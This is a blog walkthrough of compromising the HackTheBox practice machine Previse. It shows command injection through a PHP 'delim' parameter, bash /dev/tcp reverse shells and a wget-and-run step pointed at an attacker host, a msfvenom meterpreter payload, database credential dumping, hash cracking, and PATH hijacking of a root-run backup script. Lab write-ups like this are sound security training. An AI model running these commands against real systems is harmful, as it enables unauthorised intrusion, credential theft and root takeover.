HackTheBox | Previse

In this walkthrough, I demonstrate how I obtained complete ownership of Previse on HackTheBox
HackTheBox | Previse
In: HackTheBox, TJ Null OSCP Practice, OSCP Prep, Attack, CTF

Nmap Scan

# Nmap 7.91 scan initiated Thu Aug 12 12:27:49 2021 as: nmap -T4 -p- -A -oA scan-advanced
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65533 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
1   12.11 ms
2   12.17 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 12 12:28:18 2021 -- 1 IP address (1 host up) scanned in 29.87 seconds

Service Enumeration



gobuster dir -u http://$target -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php

/header.php           (Status: 200) [Size: 980]  
/nav.php              (Status: 200) [Size: 1248]  
/footer.php           (Status: 200) [Size: 217]    
/css                  (Status: 301) [Size: 310] [-->]  
/download.php         (Status: 302) [Size: 0] [--> login.php]                    
/status.php           (Status: 302) [Size: 2968] [--> login.php]                 
/login.php            (Status: 200) [Size: 2224]                                 
/js                   (Status: 301) [Size: 309] [-->]    
/logout.php           (Status: 302) [Size: 0] [--> login.php]                    
/accounts.php         (Status: 302) [Size: 3994] [--> login.php]                 
/index.php            (Status: 302) [Size: 2801] [--> login.php]                 
/config.php           (Status: 200) [Size: 0]                                    
/logs.php             (Status: 302) [Size: 0] [--> login.php]                    
/files.php            (Status: 302) [Size: 4914] [--> login.php]

accounts.php looks interesting. Start Burp Suite, navigate to and intercept the request.

<form role="form" method="post" action="accounts.php">
	<div class="uk-margin">
			<div class="uk-inline">
				<span class="uk-form-icon" uk-icon="icon: user"></span>
				<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
	<div class="uk-margin">
		<div class="uk-inline">
			<span class="uk-form-icon" uk-icon="icon: lock"></span>
			<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
	<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>

Looks like there is a web form to create a user account. I will attempt to create a new user with the curl command and an HTTP POST request.

curl -X POST -F 'username=testuser' -F 'password=testpassword' -F 'confirm=testpassword'

I am able to login using the account I created. Next, I download the backup of the site at, as I suspect there may be some source code available for review.

There is, indeed, source code for the web page. There are cleartext credentials in config.php. I also found that logs.php does not sanitize input on the delim parameter.

exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");

The logs.php script is called by the file_logs.php script.


First, I create a simple bash reverse shell.

bash -i >& /dev/tcp/<kali-ip>/443 0>&1

I start a listener on TCP 443. Then, I open Burp Suite and navigate to I change the parameter in the POST body.

delim=; wget http://<kali-ip>/shell.sh; bash shell.sh

I forward the request on via Burp and catch a reverse shell.

Next, I create a meterpreter reverse shell for more versatility on the target.

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<kali-ip> LPORT=444 -f elf -o supershell

Then, I start msfconsole and run multi/handler.

use exploit/multi/handler
set LPORT 444
set LHOST tun0
set payload linux/x64/meterpreter_reverse_tcp

I run a Python web server and grab the meterpreter reverse shell payload from the target.

cd /tmp
wget http://kali-ip/supershell
chmod +x supershell

I drop down into a system shell and try connecting to the database.

mysql -u root -p'cleartextpassword'
show databases;
use previse;
select * from accounts;

I got a username of m4lwhere and a hash from the database. I copy it locally and try cracking it with john.

john --format=md5crypt --wordlist=rockyou.txt hash

I SSH into the target as the user m4lwhere and check user privileges.

sudo -l

User m4lwhere may run the following commands on previse:  
   (root) /opt/scripts/access_backup.sh

I inspect the contents of the script


# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

Privilege Escalation

The backup script is calling gzip by its relative path name and it is being called as root. I should be able to inject a malicious gzip via the $PATH variable.


I create the file /home/m4lwhere/gzip.

bash -i >& /dev/tcp/kali-ip/53 0>&1

Make it executable and double-check that it is going to load my script by running which gzip. It is loading from /home/m4lwhere.

sudo /opt/scripts/access_backup.sh
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.